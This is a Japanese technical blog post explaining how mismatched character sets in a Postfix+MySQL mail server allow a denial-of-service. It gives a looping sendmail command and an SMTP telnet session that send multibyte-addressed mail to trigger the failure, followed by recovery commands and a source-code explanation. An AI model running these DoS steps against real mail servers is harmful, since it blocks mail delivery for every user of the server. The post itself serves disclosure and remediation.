危ないPostfix+MySQL構成


Postfix Advent Calendar 2014の 23日目の記事です。

PostfixでMySQLを利用する際に文字コードが不一致だと簡単にDOS攻撃を受けてしまうという記事を書こうと思っていたのですが、実は15日のAdvent Calendarにてとみたまさひろさんが文字コードの不一致について既に触れていたのでこちらはその補足みたいな記事になります。

何が危ないのか

文字コード設定に問題があるとMySQLでクエリを実行させるときにエラーを起こすことができます。このときのエラーが該当するメールだけに影響すればいいのですが、postfixの動作の関係上そのほかのメールも巻き込んで動作不良を起こしてしまいます。

この問題を悪用するとPostfixに対してサービス拒否(DOS)攻撃を仕掛けることができます。

実際に攻撃してみる

文字コードの設定に不備があるメールサーバ上で以下のコマンドを実行します。

while :;do sleep 1;(echo -e "From:[email protected]\nTo:ほげ\n\nTest\n" | sendmail -t) done;

大したコマンドではなく「ほげ」というユーザに1秒に一回メールを送っているだけです。ユーザがいなければ送信したユーザにバウンスメールが送られます。
ただし「ほげ」というマルチバイトのユーザ名がMySQLに送られることでメールログに以下のエラー残ります。

warning: mysql query failed: Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and (utf8_general_ci,COERCIBLE) for operation '='
warning: mysql:/PATH_TO/my_alias.cf lookup error for "[email protected]"
warning: 094CA3A1296: virtual_alias_maps map lookup problem for [email protected] -- message not accepted, try again later

1行目はlatin1で作られているデータベースに対して「ほげ」というマルチバイトを含んでクエリを実行しているため警告が発生しています。
その影響で2,3行目の警告も発生し、これからこのメールはキューに保存され定期的な再送が実施されます。

次にこの状態の時にエラーにはならない普通のメールを送ってみます。

echo 'hello' | sendmail [email protected]

送ってみたもののbob宛のメールはいつまでbobに経っても届きません。メールのログを見ると

2B9DE3A129C: uid=0 from=
warning: mysql:/PATH_TO/my_alias.cf lookup error for "[email protected]"
warning: 2B9DE3A129C: virtual_alias_maps map lookup problem for [email protected] -- message not accepted, try again later

「ほげ」宛てのメールと同じようにエラーになっています。
本来ならエラーになる必要もないメールも送信できなくなりました。

なお、一度エラーになったMySQL接続はしばらく利用できなくなるだけで、しばらくするとまた利用できるようになります。MySQLが利用できるようになったときに「ほげ」宛てのメールよりも早く再配送が発生したらbob宛のメールは無事に送信されます。

ただし「ほげ」宛てのメールは1秒に1回発生しており、全てのメールがキューに残り、定期的に再送が行なわれます。そうなると問題を起こす「ほげ」宛てのメールがキュー内に大量に発生し、MySQLの利用が復活しても再送により直ぐに利用不能に陥ります。

ちなみにmailqでキューを表示すると「ほげ」が「????」に置換されているキューを確認することができます。

# mailq
-Queue ID- --Size-- ----Arrival Time---- -Sender/Recipient-------
070593A1292      110 Sun Dec 21 19:57:01  ryo
                                         ??????

1BBE53A1299      111 Sun Dec 21 19:57:04  ryo
                                         ??????
…以下略…

復旧させたい場合は最初のコマンドを停止して、以下のコマンドで問題を起こすキューを全て消せばOKです。

postsuper `mailq | grep -B 1 '??' | grep -E '^[0-9A-E]' | sed 's/^\([^ ]*\) .*/-d \1/'`

外部からの攻撃方法-1

先ほど試した攻撃方法はサーバへSSHやtelnetなりの接続ができないと利用できない方法でした。
ただしサーバの構成次第では外部から同じように攻撃することが可能です。
例えば以下の条件がそろえば問題のあるメールがキューに入ります。

  • Web兼メールサーバ構成
  • Webにメールを送信する問い合わせフォームがある、かつメールアドレスのチェックが緩い
  • メール送信にsendmailコマンドを利用している

外部からの攻撃方法-2

外部に対してSMTP(25/TCPや587/TCP)が開いている場合、直接接続ができるのでそのまま問題のメールを送りつけます。
以下はtelnetで試した結果です。

$ telnet xxx.xxx.xxx.xxx 25
Trying xxx.xxx.xxx.xxx...
Connected to xxx.xxx.xxx.xxx.
Escape character is '^]'.
220 example.jp ESMTP Postfix
helo test
250 example.jp
mail from:<[email protected]>
250 2.1.0 Ok
rcpt to:<ほげ@example.jp>
451 4.3.0 <      @example.jp>: Temporary lookup failure
quit
221 2.0.0 Bye

「Temporary lookup failure」が発生して、内部的には利用されたMySQLがしばらく利用不可状態になっています。
ただしこの場合はメールがキューに入る事はないので1度きりで終わりです…が、継続的にSMTPを送りつける事でエラーを継続させることができます。

回避方法

正しく設定すればOKです(なげやり)。

冒頭でも紹介していますが、とみたまさひろさんの記事が大変参考になります。

Postfix から MySQL を使う

MySQLへのクエリでエラーが発生したときの動作

ここからはもう少し掘り下げてみます。
文字コードの不一致じのエラーに限らず、MySQLにクエリを投げてエラーが発生した場合はplmysql_down_host()関数を通って該当のMySQL接続のステータスは「STATFAIL」になります。

src/global/dict_mysql.c
/*
 * plmysql_down_host - close a failed connection AND set a "stay away from
 * this host" timer
 */
static void plmysql_down_host(HOST *host)
{
    mysql_close(host->db);
    host->db = 0;
    host->ts = time((time_t *) 0) + RETRY_CONN_INTV;
    host->stat = STATFAIL;
    event_cancel_timer(dict_mysql_event, (char *) host);
}

host->tsには「現在の時間+RETRY_CONN_INTV」が代入されます。RETRY_CONN_INTVは固定で60が設定されています。

src/global/dict_mysql.c
#define RETRY_CONN_INTV                 60      /* 1 minute */

ここで設定した時間が経過するまでは該当のMySQL接続は無条件でFAIL扱いです。判定はdict_mysql_check_stat()で行なっています。

src/global/dict_mysql.c
static int dict_mysql_check_stat(HOST *host, unsigned stat, unsigned type,
                                         time_t t)
{
    if ((host->stat & stat) && (!type || host->type & type)) {
        /* try not to hammer the dead hosts too often */
        if (host->stat == STATFAIL && host->ts > 0 && host->ts >= t)
            return 0;
        return 1;
    }
    return 0;
}

ちなみに一度ステータスがSTATFAILになったMySQL接続は60秒経過してクエリ実行を再開してもずっとステータスはSTATFAILのままな気がする(どこかソース見落としてなければ…)。

なぜこのような動作なのか

Postfixではhostsに複数のMySQLを指定できます。

hosts = 192.168.1.1 192.168.1.2:3306 unix:/tmp/mysql.sock

余談ですが「unix:」というprefixをつけるとドメインソケットでの指定、prefixを省略もしくは「inet:」をつけるとIPアドレスでの接続になります。

複数のMySQLを指定するとそのプールの中から適当にMySQLを選んでクエリを実行するようになり、もし選んだMySQLへのクエリ実行が失敗したら諦めずに今度は別のMySQLでクエリを実行しようとします。

このときクエリ実行に失敗したMySQLはこのプールから60秒間外れてしばらく利用されなくなります。そして60秒後に再度プールに戻り利用されるようになります。

実はこの動作はMySQL1台構成の時でも変わりません。そのため、クエリ実行でエラーを起こしたMySQLは60秒間プールから外され、その間は「利用可能なMySQLはなし」という事であらゆるクエリは軒並みにエラー扱いになります。

補足

Postfix+MySQLな構成を管理するPostfix Adminというツールではデータベースをlatin1で作るため、環境によってはそのまま運用すると今回紹介した問題の影響を受ける可能性があるので気をつけましょう。僕も気をつけます(ごめんなさい、ごめんなさい…)。

おまけ

PostfixのAdvent Calendarは既に満席だったのですが「なんかネタがあるかも」とtwitterでぶつくさ言っていたら、ふみやすさんに1日空けていただいたので参加する事が出来ました。
ありがとうございます。

とりあえずQiitaのアカウントをゲットして慣れないMarkdown使いながら書いてみました。

おまけ2

今回記事にするにあたっての再検証は諸事情によりMySQLではなくMariaDB 10.0.15を使いました。
Postfix 2.11.3+MariaDB 10.0.15+dovecot 2.2.15+Postfixadmin 2.92でもちゃんと動いています。
(内容が被っていたのでこっちをネタにすればよかったかな…)